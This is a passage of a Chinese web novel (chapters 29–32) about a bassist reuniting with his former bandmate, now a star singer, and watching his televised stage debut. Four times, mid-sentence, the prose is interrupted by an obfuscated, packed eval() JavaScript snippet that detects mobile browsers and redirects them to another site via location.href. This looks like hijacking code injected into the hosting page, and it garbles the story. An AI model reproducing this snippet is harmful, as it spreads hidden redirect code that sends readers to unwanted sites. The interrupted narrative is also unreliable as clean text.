“噢。”俞沅又问,“那为什么是和我一起迟到,因为我也是P人吗?陈悦不也是。” 李萤心再次语塞,为什么呢?他也没仔细想过。 电梯降到负二层,“叮”一声开门,李萤心终于给出了一个深思熟虑的回答:“可能我潜意识里觉得只有你会陪我迟到吧。” 事实如此,的确如此,思来想去只有俞沅愿意如此。 石头有他自己的安排,不会玩等来等去那套,时间差不多了他就自己出发了。陈悦可能会等他一下,等烦了就走了。 只有俞沅,每次总是……每次总是一定要跟着他走,就算会迟到也没关系。 原本听完小乐说的那些,李萤心的情绪就不太高涨,但仍保持着良好的社交状态和人家聊完,现在又因为剖析了一下自己随口一提的旧日幻想,再次感到低落。 与其说是低落,又不如说是愧疚更贴切。 一边想着成天自诩是人家的哥,结果意志完全不够人家坚韧,自己先放弃了,让弟弟一个人在外面劈风斩浪;一边又想即便自己放弃也不能算罪大恶极,人生总有很多不得已,可那时候明明是俞沅最需要关心的时候,自己完全错过了。 这要怎么补啊? 到了俞沅的住处,这种感觉更强烈了。 这两年俞沅确实赚了些钱,不过豪宅暂时还买不起,租了套大平层,同样隔了个房间做音乐工作室。李萤心被带着进去时,俞沅虽然没有特别说什么,但李萤心一眼看见墙上挂着上下两排造型各异的贝斯,当然可以理解为装饰,但他一个拿麦克风的用什么贝斯做装饰?……何况其中有好几把是李萤心当时卖掉的。 在收到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997804|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俞沅还到他手上的那把芬达暗夜蓝时,李萤心已经知道俞沅买了他的琴,可亲眼看到还是再次受到了冲击。 见李萤心视线一直黏在这两排贝斯上,俞沅也伸手指过去,解释说:“那几把……你知道的,上次也跟你说过,当时怕你哪一天会后悔,就先买下来了……这些,是我后来看见,觉得你应该会喜欢,造型也好看,音色我试了一下也都好听。” 结合小乐跟他说的那些,俞沅买他那二手琴的时候想必自己也还挺拮据,后来可能好了些……李萤心抓住了盲点:“试了音色,你后来还学了贝斯吗?” 俞沅愣了愣:“学了。” 李萤心:“……还以为你就学了吉他而已。” “毕竟要当专业歌手……流行乐里面贝斯又像一首歌的地基一样,我学也是应该的,”俞沅说着话锋一转,“也不是,我就是想……想我们以前了,所以想学。” 李萤心随意取下其中一把,坐下来抱着琴调音,发现其实琴弦不算很松,平时俞沅应该有时不时弹一下顺便给它们集体保养。 俞沅也跟着盘腿坐到李萤心边上。 忽然李萤心说:“迟到这个问题……不拿赶通告来比喻,因为我其实不知道真正赶通告是怎么样的,但假如是在上学,我们一起上课。 “我知道快迟到了你也会等我,我实在不想去了躲在宿舍,你会跑着去上课,替我答到,帮我记笔记,中午带着笔记和好吃的过来给我,然后等我下午起来,再跟你一起去上课。对吗?” 俞沅:“对。” 李萤心不敢看俞沅的脸,垂着头盯着拾音器那块地方:“就不会怪我吗?起又起不来,还要你跑腿……” “怎么会,”俞沅摇头,“可能有一点不高兴吧,可那也不是因为怪你,是因为想和你一起上课啊,一个人上课无聊的时候连个说小话的人都没有。但如果你觉得不舒服更想待在宿舍,我觉得没问题的,休息好了再好好学习就好了,只要你别直接退学。” 李萤心还想说什么,俞沅制止了他:“好了,我不知道小乐又跟你说了些什么,还是说因为你看到我收的这些贝斯又在想什么,我不管做什么动机都是想让你开心而不是让你伤心,更不想道德绑架你什么,之前你也跟我道歉过了,就不要再反复去想了……这些话再讲就成车轱辘话了。” 说的话很强势,实际上俞沅的语气还是很温和的,他说着甚至下意识伸手放到了李萤心膝盖上以示安抚,但由于李萤心穿着破洞牛仔裤,他的手心直接碰上了李萤心的皮肤。 俞沅很快意识到,动作颇为生硬地将手收回来,反着撑在地板上。 俞沅侧过脸去,也不知道在看什么地方,总之也不看李萤心了,他道:“哑巴主唱为了你讲了太多话了,快超出今天的额度了,要是还有什么愧疚的话,”说着停顿了下,“多多练琴吧哥哥,我想……和你一起上台。” 29.第二十九章 上台……李萤心不是没想过的。 哪怕在他放弃音乐的那段时间,“上台”这件事也偶尔造访他的思绪,有时他回忆起在酒吧小舞台里给陌生歌手当根音战士的奇遇,有时去看别人演出,也会幻想如果乐队没解散的话,他也正在台上接受乐迷的欢呼。 远到第一次透过屏幕看俞沅在音乐综艺里孤军作战的时候,彼时俞沅还不像现在这般游刃有余,他还没习惯身边没有他的伙伴们,握着立麦的模样略显僵硬,唱到某些特定的句子时,他像条件反射一样转过头去,却没有一个贝斯手正好也同他对望。那时候李萤心想,我应该在台上的,我应该站在他身边的。 近到不久前看着自己的学生用着稍显稚嫩的技法在台上演奏时,李萤心也很有冲动跳上台去,与他们共享一个躁动的夏天。 世界上应该很少有乐手能抵抗舞台的诱惑,这种诱惑是天然的,没有什么道理可言的,哪怕是再不习惯被众多视线注视的内向之人,也会爱上站上舞台之后用手中的乐器和世界对话、将积蓄的所有能量在一首歌中爆发出来的快意。更何况李萤心其实是喜欢向外求的人,他喜欢向这个世界表达,也喜欢听见世界给他的回音。 但人总是身不由己——如果是两个月前,或许李萤心会斩钉截铁地这么想,直到几个小时前,他可能还像巧言令色的社会人一样说一句“这得看情况”。 现在他看着眼前这个愿意陪他迟到的主唱,他却想,“身不由己”这个词实在是太不摇滚了。 迟到迟到,最终也还是要到的吧。 李萤心说:“好。” 他怀里还抱着那把刚刚被他随机选中的红白配色德产Sadowsky MV4,当时他也是从别的乐手那里收来的这把琴,购入的原因仅仅是那个冬天鹭州异常的冷,他觉得上台时弹一把红色的琴就如同在弹一把火,红色和冬天是最相衬的。 说练就练,但也不是纯爬格子,李萤心随便选了三个音,用了个爵士乐的Swing节奏开始即兴弹,乐句开始重复时,忽然听见俞沅的歌声加了进来。 李萤心本来盯着自己按弦的指尖看,听见俞沅的声音后下意识抬眼看向他,但两个人都没停下来。 以李萤心即兴弹的Bass line为底,俞沅也随机地跟进他的律动唱着啦啦啦的旋律。 如果说这把贝斯被单独弹奏时像升腾的火焰,俞沅的声音就好似掉进火里劈里啪啦燃烧的树叶。 这样温热的音乐也不一定是冬日专属,在八月的骄阳下,火光和绿叶都正当令。 一开始俞沅还跟了一段,李萤心玩心起来,忽然将手滑到低把位加快速度开始slap,原本舒缓摇曳的节奏瞬时变了,俞沅卡了一下,没跟上,不满地扁了扁嘴。 李萤心停下来,又开始乐不可支。 笑完以后推推俞沅的肩:“去,去把你刚才哼的那几句记下来。” - 集星那边很快将需要参与录音的民乐艺术家邀请好,邀请到的都是比较顶尖的乐手,到时候正式录音直接看谱视奏就行,不需要额外留出练习的时间。但因为乐手们的档期各不相同,因此还是空了一段时间,等一个他们都有空的日子,再正式安排器乐的录制。 民乐老师们可以直接视奏,但长久疏于练习的李萤心没有这个自信,被俞沅说完“多多练琴”的当日就开始高强度练习,第二天从酒店出发去俞沅住处的时候,和他同住一个酒店只在他隔壁的陈悦说要一起去。 李萤心当然没什么异议,本来他还担心陈悦来这边之后这状态恐怕很难真的如俞沅的愿,现在陈悦自己说要练那是最好不过了。 两人一起下楼打车,等车的时候闲聊,李萤心看他脸色还是憔悴,但陈悦没主动提,他也不好问人家到底怎么了,想来想去只能拐着弯问:“你来这边要办的事办完了?……对了,录乐器不是要等下周吗?你真请了那么久假啊?” “不能算办完了……”陈悦说,“但是我也不能怎么办。” 看李萤心一副欲言又止的模样,陈悦叹了口气:“唉我直接跟你说吧,你还记得去年我跟你说我有个在网上聊的对象吗?” 李萤心:“……记得,你的网恋对象。” 陈悦说:“还不是恋爱对象,我们始终没有谈上。” 李萤心:“……” 车来了,两人先坐到了后排,系好安全带之后李萤心接上了刚刚的话题:“你别跟我说你又和那骗子好上了,之前不是还被骗三千块吗?” 陈悦:“……她不是骗子,而且也没有骗我三千块,我本来也是要花那三千块的。” 李萤心:“……” 陈悦说:“其实要见面之前我们已经稳定聊了很久了,反正你知道的,我之前都跟你说过了,本来我们都想着线下见一面要是合适的话可以试试。” 故事的来龙去脉去年陈悦向他痛诉的时候就说过一遍,其实就是两个二次元无意间在B站别人用吉他翻弹《孤独摇滚》里的曲子的视频评论区聊上了,加上了联系方式,对方女孩子也是个社畜,但是比起陈悦来精力要旺盛很多,出COS,搞同人,有时候还会去同人展摆摊。 他们约见面也是约在某个同人展,该展子规模很大,那段时间机票和周边酒店价格都不便宜,所谓的“三千块”就是陈悦光订机票的钱。 陈悦自己是没有说过自己网恋被骗三千块的,这个故事梗概是李萤心出于一种对朋友的不讲道理的护短总结出来的。 但李萤心一直也没觉得自己这样总结有什么错,因为陈悦确实是莫名其妙就被拉黑了——当然这个也是陈悦的一面之词。 当时陈悦早早订完机酒,准备出发前对方反悔说不见面了,让陈悦别来赶紧把票退了吧。陈悦当时莫名其妙,票都订了自然也还是去了,可整个逛展过程和想象中没有半点共通之处,越逛越郁闷,想和对方要个说法吧,发现自己被拉黑了。 回来以后陈悦就是这么跟李萤心哭的:“我不明白啊,死得不明不白的,我长得也还行身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009864|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高也有一米八七怎么都不算会见光死,应该不是因为她觉得我丑所以她把我删了吧??” 李萤心说:“你是不是太普信了,男的天天说自己一米八七还自己觉得自己帅是很下头的。” “我没有天天说啊!不对,我之前都不说的,我是现在在分析而已!”陈悦接着哭,“我好像也没有发脾气啊当爹味男什么的,也没有品行不端啊,应该真的没有吧,我反省了三天了,真的不知道咋回事。” 陈悦甚至想拿他们的聊天记录给李萤心分析他到底是哪里的问题,不过被李萤心以要赶去上晚自习为由婉拒了,聊天记录这种太私人的东西,不到万不得已的情况下他也不是很想看。 后来很快陈悦也调理好了,毕竟只是在网上聊天的网友而已,还没有真正深刻的交集,时间很容易抚平这样的小伤口。 没想到隔了这么久,陈悦又旧事重提。 李萤心问:“所以现在是?” 陈悦望向车窗外,风顺着车窗的缝隙溜进来,衬得陈悦的声音飘飘荡荡的。他说:“我前两个月很意外地发现了她的微博小号,发现那个时候原来她不是故意鸽我拉黑我的,她生病了好像,具体什么病我也不懂,好像是那种要吃激素药会变胖脸上也会长东西的病,抓马得要死,刚好在我们快见面前她确诊了。” 李萤心沉默了。车内一时只有司机在播的广场舞神曲还在自顾自热烈着。 陈悦又说:“我觉得如果这时候突然去找人家说什么‘啊我不在意的’,也非常傻逼,何况我也没有真的见过她,没有和她在现实中长期相处过,当时对她更多是朦胧的好感,我不知道我见了她之后会不会在意,一时不在意以后又会不会在意,而且就算我无所谓,对方应该是不想自己这样子给人看到的。所以我一开始只是偷偷像个变态一样看她小号。” “然后前些天,我看见她说又严重了好想去死,还说什么就算自己不去死可能也会病死,”陈悦停顿了下,“她说死掉之前要是能看见她的吉他英雄在台上表演就好了。” 怕李萤心不知道吉他英雄的梗,陈悦解释道:“《孤独摇滚》里面的主角还有个身份叫吉他英雄,我们当时就是因为这部番认识的嘛,然后我有跟她说我以前玩过乐队也是吉他手,她就这样叫我……不是什么拿角色的梗当我们play的一环啊,就是私下说说而已。” 李萤心不太懂他们二次元的事情,听了个半懂,即便如此,他一边听心还是慢慢往下沉,忍不住想叹息。 李萤心问:“那你昨天说去办事,就是去找她了吗?” 陈悦摇头:“也不算吧,有个什么角色only……呃,反正就是一个小的同人展,我知道她想去,不知道她去了没,但最后我也没去那个展子,怕万一她真去了吓到她,就在场地对面的咖啡厅坐了一下午。” 李萤心:“那你怎么想的呢?” 陈悦吸了吸鼻子:“我就是想刚好也有这样的机会……我想录个歌送给她吧,希望她有好好生活的勇气。” 30.第三十章 这几年来陈悦同样很少提及玩乐队时候的事,顶多偶尔将弹吉他当成爱好,兴起了也会在社交平台发点随意的弹唱,但从来没有像现在这样提出要正式地进行练习再做出一首歌来。 在李萤心看来陈悦比他洒脱得多。 乐队散了就散了,那段时日变成青春的画像被封在相册里,陈悦从舞台上跳下来游进社会之中,没有任何不适应,他以前在舞台上是个很好的吉他手,如今在写字楼里也做出了不错的业绩,他很少回头看,不曾想过走回头路,他认为人生的每个时段有不同的经历十分正常。 哪怕前段时间跑过来做这做那又同他们一起练了几天,更多也是为了配合朋友的安排,而非他的本愿。 如今因为想鼓励一个未曾谋面的女孩,很突然却也很纯粹,他郑重地决定重新拿起他的吉他。 不过李萤心想,这也不算走回头路……包括他自己和俞沅,他们都不是在走回头路,他们都在朝前走,刚好这一程的目的地相同,又能再次结伴前行一阵。 网约车行驶至俞沅住处小区门口,李萤心和陈悦一起下车。 刷门禁前李萤心似很随意地对陈悦说了一句:“你也要有好好生活的勇气。” 陈悦:“我?” 刷脸——昨天俞沅帮李萤心弄的,说他要经常来的,录个门禁和指纹更方便——进了小区,陈悦跟在后头,李萤心道:“音乐又不像人一样会装,你开心起来……或者说对她的病情也乐观一点,不要那么焦虑,这样你的音乐才能传递你的心情,给她一些力量吧。” “怎么讲得这么抽象,”陈悦想了想,说,“不过你说得有点道理,要是我自己很焦虑,却去劝别人积极面对,是很虚伪哈。” 李萤心:“嗯哼。 ” - 时间就在练琴、合奏、参与录音等一个接一个的环节之中飞快地流逝了。 主流歌手发歌不像独立歌手那样做完发个网易云就完事了,什么时候预热什么时候正式发布,要不要拍MV,要发电子专辑还是出实体专辑,如何推广,后续又有什么舞台和演出能接上……这些都要由团队反复推敲。 这一整套流程可能只走了个开头,李萤心的假期就该来到尾声了。 陈悦在录完音之后就匆匆飞回去先处理工作了,练习和录音的过程中他发觉用已经编好的这三首歌去传达些他的想法也不合适,李萤心让他自己写一首,他没写过歌,说回去再试试。 李萤心倒是在上海接着待下去了,他把回程机票订在堪堪开学前一周学校要开会的前一天。 其实录音也录完了,基本没他什么事了,但他想在现场看俞沅演这几首歌的初舞台。 ——他们团队决定这几首歌就以录播舞台的形式首发,之后再在网络上发布音源。首演舞台联系了当下收视率颇高的打歌节目《高歌猛进吧!》,经过协调,把录制的时间提前到了李萤心离开上海之前。 俞沅和俞沅的团队都有事先问过水晶老师要不要一起上台,李萤心认真考虑过后还是先拒绝了。不是他又出尔反尔不想再和俞沅一起上台,而是他觉得时机不合适。 他毕竟还是一名人民教师,还没辞职之前且不说要和单位领导报备相关事宜有多麻烦,就算领导很支持他,他去演的这一场不是小规模的livehouse演出,而是传播度很广的电视节目,演完之后所有学生都会知道李老师是个“名人”,那种怪异感还另说,万一班上同学或者别的老师来打听俞沅的事,又或者领导要他用他身上可能会有的流量去给学校做什么奇怪宣传……他会觉得很为难,工作都不知道该怎么开展下去。 但他给了俞沅承诺,说回去他就辞职,让学校赶紧招新的老师,带完这学期他就走——所幸他带的班级只是升高二而非毕业班,中途换老师的影响不算很大。 俞沅此前一直希望李萤心和他一起继续做音乐,结果到了李萤心说想辞职的时刻,俞沅又不安了起来,一会儿问哥考虑清楚了吗?一会儿又说不用辞职也可以,当成一份业余爱好也可以。 李萤心说自己想得很清楚了。 那天俞沅对他说“想和你一起上台”的时候,他就想清楚了。 他也想和俞沅一起上台。 李萤心表完决心接着安抚俞沅,说你也不用担心哪天我做不下去后悔了,虽然人不能预知未来,但到了做不下去那一刻我肯定也会有很多条路可以走,只要人活着,就总能走出新的路。 李萤心没说的是,此刻我想和你走一程相同的路。 李萤心只是说,瞻前顾后的一点都不摇滚啊。 …… 总之李萤心一直待到了舞台录制的那天。 每期节目,节目组都会提前找来一批观众,李萤心跟工作人员表示不想在后台之类的地方看表演,他很执拗地认为在观众席里才有当观众的感觉,要了一个观众的席位,座位也是提前随机抽的,运气还不错,这个棚很大,观众席位置也多,他抽到了第三排正面对着舞台的位置。 这天他跟着俞沅的保姆车来到场地之后,也没有先跟去后台,直接从观众入场通道进去,他想对舞台保留一些神秘感——虽然歌是他编的,每首歌怎么唱怎么演绎也都是他和俞沅商量过的,甚至录音室版本他已经听了无数遍,但至少妆造和舞台效果之类的东西他不想提前知道,保持期待总是好的。 一首歌的现场,其魅力不仅在于歌曲本身的动听,还在于妆造舞美能否更好地传达歌里的情绪……当然还有每次现场歌手演绎上微妙的区别等等等等。 而且亲眼看亲耳听,和在视频里头看,是完全不同的两种感受,好的音乐现场总是像有带人进入奇幻世界畅游的魔法。 这就是为什么李萤心爱看任何一位优秀歌手乐手的现场演出,也特别希望这次至少能在台下看完俞沅的首演再走。 不过坐观众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020064|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席也有不便之处,节目为了保密,是禁止观众席上有人携带手机之类的通讯和录像设备的,他从入座后就感到有些百无聊赖。 离录制正式开始还有一段时间,邻座的女孩子估计也是同样坐着发呆发烦了,戳了戳李萤心,问他:“你是来看谁的?” 参与同一期节目录制的歌手有好几个,李萤心回答她:“我来看俞沅。” 那女孩子眼睛亮了亮:“同担啊。” 也没错,李萤心本来就是俞沅的歌迷,他笑说:“你好你好。” 那女孩子在包里翻了翻,翻出一个印有俞沅Q版形象的包装袋——这倒是节目组允许带的——递给了李萤心:“这个是我准备的无料,给你。” 李萤心当然也在超话之类的粉丝社区里看见过别人发换无料的帖子,之前他之前也独自去看过俞沅的演出,不过因为他自己是没有准备过什么应援品的,他就是单纯去听歌而已,所以也没有要过别人发的无料。 被塞了一手无料之后他有些惶恐:“啊谢谢谢谢,但我什么都没准备……” 女孩:“没事的,这些东西做出来就是为了派的,对了我叫莫莫,你怎么称呼呢?” 好E一人,这种场合应该是要互换昵称,李萤心当然不可能说真实姓名,差点要脱口而出说“叫我水晶就好”,但是一想俞沅的粉丝是很可能对水晶这个总出现在歌词本上的名字有所耳闻的,于是他紧急使用早上吃了什么东西起名大法,临时给自己起了个名字:“我叫……薯饼……” “噢噢,薯饼你好,”莫莫又说,“你应该是不怎么关注粉圈那种歌迷吧?你可以拆开袋子看一看哦,里面都是我们后援会做的。” 后援会啊,李萤心小心翼翼拆开精美的包装袋,从里面抽出了其他设计得很别致的手幅、亚克力挂件之类的应援物……忽然想到自己之前假借后援会名义给徐斐然送票,就直接拿了张A4纸随便打印了落款,想来如果真是后援会的手笔,应该会做得十分精致。 自己那票的伪装实在是漏洞百出,不过小孩也挺好骗的。 李萤心真心实意地夸赞了莫莫和后援会其他人,两人又聊了几句对俞沅的新歌有什么期待,莫莫还在猜俞沅这次会走什么路线时,工作人员开始念长长的一串观众须知,提示大家节目马上就要开始了。 主持人出来报幕,首位出场的是俞沅。 灯光暗下,烟雾缭绕,一小段清透的编钟声回荡雾中。 一个黑色的剪影自下而上升上来,光束打到剪影上去。 俞沅以祝祷的姿态站在雾中,侧对着观众,双眼闭着,颊上画着庆典巫师专有的红纹,唇上也点了朱砂。 他头往后仰着,大概是为了这舞台特意戴上了如瀑的乌发,发丝和飘飘的衣袂都柔顺地往下坠。 随着一记重音,俞沅睁开了眼。 如同一个被神灵降驾的乩童。 他开始吟唱—— 31.第三十一章 “我乃真神仙 降临凡间 尔等有何心愿 毋庸讳言 你要用五个银元/换花不完的钱 他虽流连风月/但愿佳人无眼/同他喜结良缘 你成日游手好闲/可否求得上上签 他要金榜题名步步高升踏上人生之巅 你要财路亨通春风得意再不会被人嫌” 俞沅清冽却圆融的声线像涌出的甘泉,甘泉流淌在热闹活泼的以民乐为主导的伴奏里,间或有钱币掷入功德箱之声或是签筒摇晃的声音做点缀,听者也如同进入了一场盛大且极乐的庆典,仿佛所有人的愿望都即将实现。 细数完信徒的愿望后,俞沅转过身来,颇为怪异地笑了一笑,舞台大屏上的火焰烧了起来,打在他身上的光成了令人不适的红,原先澄澈的神明开始冒起了森然的鬼气。 他接着唱: “我全都给——我乃有求必应真神仙! 案前再洒一壶酒赠我 金纸银钱烧过火 宝烛燃尽皆成空 你还要求什么?” 李萤心邻座那位叫莫莫的女孩一边双手攥紧成了拳头放在腿上,“咝”了一声又忍不住转过来向李萤心感叹:“这次俞沅算是走的国风路线吗?还挺带劲……”一句话没说完,后面的词都浓缩成了一个“卧槽”。 只见灯光再次暗了下去,前半段伴奏中的大鼓声被强有力像砸夯的架子鼓所取代,电吉他的声音上缠绕着浅浅的唢呐声,沉闷的贝斯声也在它该在的位置上发出嗡鸣。 主旋律分明是哀乐,但用上这些乐器之后听感变得狂放无比。 俞沅身后的大火仍在烧着,舞台两边不知什么时候从上而下降下了几道白幡。 他再次开口,但唱腔和一直以来的都有所不同,变得更尖利甚至有点“刺耳”,像戏台上的丑角用着夸张滑稽的腔调。 他唱: “我是真可怜 向神发愿 好运如同昙花现 再来多些 我要加五个银元/换花不完的钱 我犯了什么戒/天地如此无眼/她逃离我身边 我求了千遍万遍/缘何还是下下签 我要金榜题名步步高升踏上人生之巅 我要财路亨通春风得意再不会被人嫌 你给不了——敢称有求必应真神仙? 把欠我的福气还给我 被安排好又如何 宁当好命提线偶 谁愿意吃苦头?” 鼓点渐渐急促起来,俞沅低下头,双臂在两侧一高一低地抬起,但小臂垂下,仿佛有无形的线将他当作木偶提了起来。 曲子的速度也越来越快,就像信徒的精神世界正在加速撕裂。俞沅再次重复了两遍副歌,用更癫狂,更有力度,也更撕心裂肺的歌声唱着: “把欠我的福气还给我 被安排好又如何 宁当好命提线偶 谁愿意吃苦头? 谁愿意吃苦头?” 乐声终于停下的时候,俞沅也重新站直,他头稍仰起,额前的刘海被汗水沾湿了些,他正用力呼吸,胸膛微微上下起伏,仿佛真是一个刚完成了一场仪式的乩童。 不知是神明还是邪灵总算从他身上离去,他还是原来那个俞沅。 他向台下观众挥手,引来一众他的“信徒”几乎要掀翻屋顶的欢呼。 当然李萤心也在其中。 李萤心双手交叉捂在嘴边,他想如果俞沅看下来能看清他的脸,会看见他的双眼比以往都要湿润。 即便是他自己写的歌,每个音符和唱词他都烂熟于心,是他参与了录制的歌,他事前也听过好多遍,但他还是…… 李萤心还是难以自抑地在这场演出里乖乖献上自己的心脏任俞沅攥紧,也成为了俞沅的信徒。 此刻他不关心神明,也不关心求神拜佛的人,他只是注视着被歌里这些苦痛又疯狂的意志占据神思,并将之变为歌声的俞沅,他觉得他的疼痛和歇斯底里都好迷人,而不仅仅是有一把好声音而已。 主持人上台来,照例说了些套话,随后让俞沅介绍一下刚才表演的这首歌。 俞沅如今应付各种需要发言的场景都十分自如,早已不是当初一被cue就望向身边找哥哥求助的弱小主唱,何况该怎么说说些什么也是和团队一起商量好的。 俞沅:“刚才为大家带来的是我的新歌《神意》,神明的意志。” 他又说了一些这首歌想表达一些什么什么,讽刺一些什么什么,舞台和妆造分别有些什么含义,说第一次尝试这种风格也有点紧张希望大家会喜欢云云。 俞沅接着说:“其实我也是会向神明许愿的人。” 这句不是提前安排好的,主持人一怔,但好在也不是什么奇怪的话,节目也不是直播,她很快接上去问:“哦?那俞沅许了什么愿呢?” “前段时间去鲤州巡演,拜了妈祖,”俞沅望向观众席某处,“许愿以前我所有歌的创作人水晶老师能继续给我写歌,不然的话我的新专辑就要开天窗了,因为以前我们互相发过誓的,他说他要承包我所有的歌,我也只想唱他写的歌。” 他说这话带着开玩笑的语气,台下观众也配合地笑,主持人说:“那看来妈祖是实现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027312|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的心愿了。” 俞沅说:“是啊,真的很谢谢妈祖吧,大家如果觉得这首歌……甚至我之前别的歌有点好听的话,那其中有百分之五十五的功劳是水晶老师的,先有他写了歌,我才有歌可唱。” 主持人:“那剩下的百分之四十五呢?” “百分之二十五的功劳是乐队演得好,剩下百分之二十谢谢各位工作人员……”说完他掰了掰手指,“我应该没算错吧。” 主持人也在那算,算完之后惊讶道:“那你自己呢?” 俞沅笑说:“我算在乐队里面啊,向大家介绍一下这首歌的表演乐队吧。 “他们叫‘夜这星’,贝斯手水晶,吉他沉月,鼓手石头,还有主唱我。” 随后俞沅向台下勾了勾手,掌声和欢呼便响彻了整个演播厅。 完全是台本以外的内容,主持人只好硬着头皮随机应变:“他们今天应该不在现场吧?” 俞沅看向正对着舞台第三排中间的李萤心:“不在,就我来了。” 也许这段在正式播出的时候会被剪掉,但无所谓,他说了,李萤心听到了,陈悦和石含章也会听到的。 …… 莫莫小姐从刚才情绪就一直变得非常快,听俞沅唱歌时在“现场还是这么稳”“感谢阿妈生我下来让我能听到俞沅唱歌”“唱这么牛逼我草”“这首歌发了之后一定会大爆的”等等的想法之间切换,俞沅唱完了,她还来不及细细反刍刚才绝妙的精神享受,又听见平时除了一些官方套话外不爱说太多的俞沅开始大开金口。 她正值表达欲最高涨的时候,可恨手机被收了不能在微博上输出一些小作文,她准备戳戳旁边那个叫薯饼还是薯条的同担男粉,想和他畅聊一番。 想说原来这首歌也是水晶写的,水晶真是太厉害了。水晶你知道吗?夜这星你知道吗?虽然我是后来才喜欢上俞沅的但是我考古了很多,在他们解散之后才喜欢上了这个乐队,一直很好奇他们现在到底什么关系……果然俞沅还是很爱夜这星很爱水晶的啊! 又想但是跟一个男粉说俞沅很爱水晶人家估计理解不了吧。 脑子里乱糟糟的,但莫莫想着不管了先输出一通再说,反正走出这个演播厅后谁也不认识谁了嘛。 她转过头,却看见青年抿着唇,眼睛湿漉漉的。 一时之间她没有开口,一种奇异的直觉涌上她的心头。虽然盯着人看不太礼貌,但她忍不住盯着这张脸看了很久……忽然福至心灵。 她想起之前她在论坛看到的那个认人帖子,旁边这个人,和在鲤州跟俞沅同游被拍到照片的人,和以前被浓妆遮盖住的水晶,不就是同个人吗? 32.第三十二章 莫莫最终决定把所有的话都咽回心里,她把脸转回去,台上的主持人串完场即将换下一个歌手上台,工作人员正在搬道具,这有什么好看的?莫莫看似目视前方,实则余光一直偷瞄旁边的人。 她想,俞沅爱水晶,水晶也爱俞沅啊。 …… 李萤心来当这个节目的观众,初衷是为看俞沅的表演,但他也很乐意顺道听听其他歌手的演唱。前些年《高歌猛进吧!》这节目能在当时一片萧条的流行乐坛中异军突起,很大一个原因是从名到实都坚持走高质量路线,不是通稿中吹得天花乱坠实际一听全无新意,节目组致力于挖掘好的音乐人并为观众献上优秀的音乐现场,以此站住了脚跟。 后续登台的有李萤心没听说过的新人,也有他收藏过的歌手。 人们看竞演类节目,一首又燃又炸的歌和一首舒缓的情歌PK,在各项理性维度两首歌质量可能相当,但结局往往是观众在看完表演后把票都投给了前者,评委或者导师还要说后者一句“歌是好歌,就是不适合拿来比赛”…… 诚然《高歌猛进吧!》并非竞技场,就如文无第一,在这里唱响的音乐也理应没有高下之分,但李萤心还是不可避免地在听着接下来的歌手唱着虽动听但和缓的歌时,冒出了“可惜他们对上的是俞沅这版《神意》”这样的念头。 当然不是因为歌是他写的他就在这自鸣得意,李萤心的情绪里更多的是感到再一次被俞沅折服……如果换个人来唱,这首歌不一定能被唱出刚才的效果。俞沅现在不仅是一个会唱歌的人而已,他的舞台魅力已经可以轻而易举将现场点燃,他站到台上就是一个真正的大明星。 一定有很多人和他想的是一样的。 就这么在整场录制中老实当完观众。除却观演过程中的诸多感受,李萤心还有一件略在意的事,就是旁边女孩的视线一直似有若无地落到他脸上。他当老师久了,对这种目光很敏感,这感觉跟班里小孩上课偷偷看小说还要时不时瞄一下班主任是一样的,这时候下去没收学生的违禁品基本一抓一个准。 但莫莫毕竟不是他的学生,也没有什么防着他干些“坏事”之说,人家没开口,他也不好意思问到底怎么了。直到录制彻底结束,工作人员在现场指挥观众们有序退场的时候,在即将离开的时候,莫莫终于跟他说了一句:“加油!薯饼老师!” 薯饼老师:“?” 莫莫:“我会一直支持……俞沅的!” 李萤心是真有些摸不着头脑了,说她是看完表演很激动有什么感受要抒发吧又有点不对劲……而且按说她的视角里他们都是粉丝,粉丝之间不是应该说“我们要一直支持俞沅”之类的吗? 最后莫莫又补了一句“希望下次演出还能见到你”,然后溜得飞快。 李萤心琢磨了一下,可能粉圈的线下友好互动就是这样的。 